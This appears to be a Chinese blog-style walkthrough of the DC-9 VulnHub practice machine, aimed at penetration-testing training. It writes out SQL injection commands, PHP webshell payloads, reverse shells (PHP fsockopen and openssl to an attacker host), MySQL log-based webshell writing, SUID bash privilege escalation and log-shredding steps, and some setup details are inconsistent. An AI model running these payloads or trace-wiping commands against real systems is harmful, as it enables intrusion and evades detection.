1. DC-9靶机渗透测试实战全记录
去年在VulnHub上架的DC-9靶机至今仍是渗透测试练手的经典环境,这个基于Debian的靶机包含了SQL注入、文件包含、权限提升等多个典型漏洞链。我在实际测试中发现其漏洞利用方式与DC系列前作有显著差异,特别是最后阶段的提权环节需要结合系统日志分析才能突破。下面将完整还原从信息收集到获取root权限的全过程,重点解析三个关键突破点的技术细节。
测试环境建议使用VirtualBox+VMware双嵌套模式,避免攻击流量影响物理网络。靶机IP通常为192.168.56.101,实际测试需根据DHCP分配调整。
1.1 环境准备与信息收集
首先用arp-scan定位靶机IP(假设为192.168.56.103),接着进行全端口扫描:
nmap -sS -p- -T4 192.168.56.103 -oN initial_scan.nmap扫描结果显示开放了22(SSH)和80(HTTP)端口。深入扫描Web服务:
nmap -sV -sC -p 80 --script=http-enum 192.168.56.103 -oN web_scan.nmap发现使用的是Apache 2.4.38,在/search.php页面发现疑似注入点。这里有个细节:DC-9的输入框对特殊字符做了前端过滤,需要先用Burp Suite拦截请求:
- 配置浏览器代理为127.0.0.1:8080
- 提交包含单引号的测试payload
- 在Burp的Proxy模块查看原始请求
1.2 SQL注入漏洞利用
拦截到的请求显示参数名为"search"。用sqlmap测试注入:
sqlmap -u "http://192.168.56.103/search.php" --data="search=test" --risk=3 --level=5 --dbs确认存在基于时间的盲注。提取数据库信息时发现关键表:
| 表名 | 重要字段 |
|---|---|
| Staff | username, password |
| Users | username, password |
使用以下命令导出用户凭证:
sqlmap -u "http://192.168.56.103/search.php" --data="search=test" -D staff --dump获得的密码是MD5加密,用John破解:
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt1.3 突破Web到系统层面
破解出的凭证可登录管理后台(/manage.php),发现文件上传功能。测试时遇到限制:
- 扩展名白名单:仅允许.jpg/.png
- Content-Type校验:必须为image/*
- 文件头验证:检测实际文件类型
绕过方法:
echo '<?php system($_GET["cmd"]);?>' > shell.jpg exiftool -Comment='<?php system($_GET["cmd"]);?>' normal.jpg用Burp修改上传请求:
POST /manage.php HTTP/1.1 ... Content-Disposition: form-data; name="fileToUpload"; filename="shell.php%00.jpg" Content-Type: image/jpeg访问/uploads/shell.php?cmd=id确认RCE成功,接着建立反向shell:
nc -lvnp 4444 # 攻击机监听 # 在Web执行 php -r '$sock=fsockopen("192.168.56.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'2. 权限提升关键步骤
获得www-data权限后,在/var/www/html/config.php发现数据库凭据:
$DB_HOST = 'localhost'; $DB_USER = 'dc9user'; $DB_PASS = '!dc9!'; $DB_NAME = 'staff';2.1 数据库提权技术
登录MySQL发现secure_file_priv为空,可写文件:
SELECT "<?php system($_GET['cmd']);?>" INTO OUTFILE "/var/www/html/admin/shell2.php";但遇到目录权限问题。转而利用mysql日志提权:
SET GLOBAL general_log_file='/var/www/html/admin.php'; SET GLOBAL general_log=1; SELECT '<?php system($_GET["cmd"]);?>'; SET GLOBAL general_log=0;2.2 系统层横向移动
在/home目录发现用户"fredf"的备份文件:
find /home -name *.bak -exec ls -la {} \;分析.bash_history发现sudo权限异常:
sudo -l User fredf may run the following commands on dc-9: (root) NOPASSWD: /opt/devstuff/dist/test/test逆向分析test程序:
file /opt/devstuff/dist/test/test strings /opt/devstuff/dist/test/test发现是调用/usr/bin/python执行输入文件。创建提权脚本:
#!/usr/bin/python import os os.system("chmod +s /bin/bash")执行提权:
chmod +x exploit.py sudo /opt/devstuff/dist/test/test exploit.py /bin/bash -p3. 渗透测试中的深度技巧
3.1 日志清理与痕迹消除
完成测试后需要清理日志:
# 清除命令历史 echo "" > ~/.bash_history history -c # 清理Web日志 find /var/log/apache2 -type f -exec shred -zu {} \; # 删除后门文件 rm -f /var/www/html/admin.php /uploads/shell.php3.2 常见问题排查
文件上传失败:
- 检查Burp拦截的原始请求
- 尝试不同编码方式的截断(%00 vs 0x00)
MySQL写文件权限问题:
- 确认secure_file_priv设置
- 尝试/tmp等可写目录
反向shell连接不稳定:
- 改用加密连接:mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect IP:PORT > /tmp/s
- 使用socat等工具
4. 靶机渗透的进阶训练建议
完成基础渗透后,可尝试以下挑战:
- 不依赖sqlmap手工完成注入
- 使用Metasploit框架复现全部流程
- 尝试无文件攻击方式
- 编写自动化渗透脚本
我在实际测试中发现DC-9最精妙的设计在于提权路径需要组合数据库和系统两个层面的漏洞,这种多维度渗透思路在企业内网测试中非常典型。建议在掌握基础方法后,重点训练漏洞链的组合利用能力。